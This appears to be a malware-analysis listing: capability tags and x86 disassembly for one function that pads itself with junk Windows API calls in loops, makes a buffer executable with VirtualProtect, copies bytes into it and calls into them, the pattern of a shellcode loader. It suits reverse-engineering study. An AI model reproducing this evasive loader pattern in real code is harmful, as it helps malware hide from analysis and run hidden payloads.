Function at 0x402e63
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Get memory capacity
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.00408050
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x402ea6
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x402eb7
inc edi
cmp edi, 0x67d12
jl 0x402e77
cmp dword [0x244ca44], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x402f5e
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x402a2c
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00403a72
push esi
push esi
call fcn.00403aa1
push esi
call fcn.00403b59
push esi
call fcn.00403a5b
add esp, 0x14
add dword [0x244ca44], 0x1134b
push dword [0x244ca44]
mov eax, dword [0x43744c]
push esi
mov dword [0x244d880], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x244ca44]
mov dword [0x244c4d4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x402f9c
cmp dword [0x244ca44], esi
jbe 0x40301f
mov eax, dword [0x244d880]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x244c4d4]
mov byte [ecx + edi], al
cmp dword [0x244ca44], 0x490
jne 0x403016
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x244ca44]
jb 0x402fb8
xor edi, edi
mov eax, dword [0x244ca44]
add eax, edi
cmp eax, 0x8d
jne 0x403059
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x403021
call fcn.00402d82
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x403088
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x1166f
mov eax, dword [ebp - 4]
add dword [0x244c4d4], eax
inc edi
cmp edi, 0x674bd
jl 0x403069
push 0x7b
pop edi
cmp dword [0x244ca44], 0x86
jne 0x4030f1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x402a48
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x244ca44], 0xf
jne 0x403105
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x403094
push 0x402a5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x244c4d4]
pop edi
pop esi
pop ebx
leave
ret